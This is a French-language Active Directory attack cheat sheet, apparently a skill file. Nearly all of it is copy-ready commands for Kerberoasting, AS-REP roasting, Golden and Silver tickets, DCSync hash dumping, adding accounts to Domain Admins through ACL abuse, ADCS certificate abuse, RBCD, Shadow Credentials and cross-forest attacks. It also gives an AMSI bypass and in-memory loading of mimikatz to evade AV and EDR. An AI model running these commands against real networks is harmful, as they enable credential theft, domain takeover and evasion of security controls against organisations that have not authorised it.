| name | active-directory-advanced |
| description | Guide complet d'exploitation Active Directory avancée — Kerberos attacks, ACL abuse, ADCS/PKI, RBCD, Shadow Credentials, DCSync, forêts |
| category | cybersecurite |
Active Directory — Attaques Avancées
Prérequis Outils
apt install bloodhound
pip install bloodhound
git clone https://github.com/fortra/impacket
pip install impacket
pip install certipy-ad
pip install netexec
pip install pkinittools
Énumération AD
Découverte initiale
ldapsearch -x -H ldap://dc.target.com -b "DC=target,DC=com"
nxc ldap dc.target.com -u '' -p ''
nmblookup -A dc.target.com
dig axfr @dc.target.com target.com
Énumération Ldap
ldapsearch -H ldap://dc.target.com -x -D "user@target.com" -w "password" -b "DC=target,DC=com" "(objectClass=*)"
bloodhound-python -u user -p 'password' -d target.com -dc dc.target.com -c All -ns 10.10.10.10
nxc ldap dc.target.com -u user -p 'password' --users
nxc ldap dc.target.com -u user -p 'password' --groups
nxc ldap dc.target.com -u user -p 'password' --trusted-for-delegation
Kerberos Attacks
Kerberoasting
GetUserSPNs.py target.com/user:'password' -dc-ip 10.10.10.10 -request
GetUserSPNs.py target.com/user:'password' -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
nxc ldap dc.target.com -u user -p 'password' --kerberoast output.txt
hashcat -m 13100 kerberoast.txt rockyou.txt
AS-REP Roasting
GetNPUsers.py target.com/user:'password' -dc-ip 10.10.10.10 -request
GetNPUsers.py target.com/user:'password' -dc-ip 10.10.10.10 -request -outputfile asreproast.txt
GetNPUsers.py target.com/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10
nxc ldap dc.target.com -u user -p 'password' --asreproast asreproast.txt
hashcat -m 18200 asreproast.txt rockyou.txt
Golden Ticket
mimikatz
mimikatz
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain target.com Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py target.com/Administrator@dc.target.com -k -no-pass
Silver Ticket
mimikatz
dir \\dc.target.com\C$
DCSync (Extraction de hash)
mimikatz
secretsdump.py target.com/Administrator:'password'@dc.target.com
secretsdump.py -hashes :<NTLM> target.com/Administrator@dc.target.com -just-dc
secretsdump.py target.com/Administrator@dc.target.com -just-dc-ntlm
ACL Abuse (BloodHound)
Permissions dangereuses
bloodhound> MATCH (u:User) -[r:GenericAll]-> (target:User) RETURN u.name, target.name
net rpc password <target> <new_pass> -U domain/User -S DC.target.com
net rpc group addmem "Domain Admins" attacker -U domain/attacker -S DC.target.com
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All
BloodHound — Workflow d'exploitation
bloodhound-python -u user -p 'password' -d target.com -dc dc.target.com -c All -ns 10.10.10.10
MATCH p=(m:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@TARGET.COM'}) RETURN p
MATCH p=shortestPath((n:User {name:'USER@TARGET.COM'})-[*1..]->(m:Group {name:'DOMAIN ADMINS@TARGET.COM'})) RETURN p
MATCH (u:User {hasspn:true}) RETURN u.name
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
MATCH p=(u:User)-[r]->(g:Group) WHERE r.isacl=true RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
ADCS (Active Directory Certificate Services)
ESC1 — Certificate Template Misconfiguration
certipy-ad find -u user@target.com -p 'password' -dc-ip 10.10.10.10
certipy-ad req -u user@target.com -p 'password' -ca CA-SERVER -template VulnTemplate -target dc.target.com -upn administrator@target.com
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC2 — Any Purpose EKU
certipy-ad req -u user@target.com -p 'password' -ca CA-SERVER -template VulnTemplate2 -target dc.target.com -upn administrator@target.com
ESC3 — Agent Enrollment
certipy-ad req -u user@target.com -p 'password' -ca CA-SERVER -template EnrollmentAgent -target dc.target.com
certipy-ad req -u user@target.com -p 'password' -ca CA-SERVER -template User -target dc.target.com -on-behalf-of 'domain\administrator' -pfx agent.pfx
ESC4 — Vulnerable Template ACL
certipy-ad template -u user@target.com -p 'password' -template VulnTemplate -save-old
ESC5 — CA Object ACL / ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
certipy-ad req -u user@target.com -p 'password' -ca CA-SERVER -template User -target dc.target.com -upn administrator@target.com
Resource-Based Constrained Delegation (RBCD)
New-MachineAccount -MachineName FAKECOMPUTER -Password $(ConvertTo-SecureString 'password123' -AsPlainText -Force)
Set-DomainRBCD -Identity TARGET$ -DelegateFrom 'FAKECOMPUTER$'
getST.py -spn cifs/target.target.com target.com/FAKECOMPUTETR$:'password123' -impersonate Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py target.com/Administrator@target.target.com -k -no-pass
Shadow Credentials
certipy-ad shadow auto -u user@target.com -p 'password' -account targetcomputer$
gettgtpkinit.py -cert-pfx shadow.pfx -pfx-pass password target.com/Administrator administrator.ccache
Cross-Forest / Trust Attacks
SIDHistory Injection
mimikatz
Inter-Realm TGT
mimikatz
DCSync Cross-Forest
secretsdump.py target.com/user:'password'@dc.target.com -just-dc
Contournement AV/EDR pour AD
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$m = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Temp\mimikatz.exe"))
$m.GetType('Mimikatz').GetMethod('Init').Invoke($null, @())
Checklist Pentest AD
- Énumération LDAP (users, groups, computers, SPNs)
- BloodHound data collection + analyse de chemin
- Kerberoasting (TGS crack)
- AS-REP Roasting
- ASREQ / Password Spray (mots de passe faibles)
- ACL Abuse (GenericAll, WriteDACL, etc.)
- ADCS exploitation (ESC1-8)
- Delegation abuse (Unconstrained, Constrained, RBCD)
- Shadow Credentials attack
- DCSync / Privileged account extraction
- Golden/Silver ticket
- Skeleton Key (mimikatz)
- DCOM / WMI / PsExec lateral movement
- Cross-forest trust exploitation
- SMB / Pass-the-Hash, Pass-the-Ticket
Ressources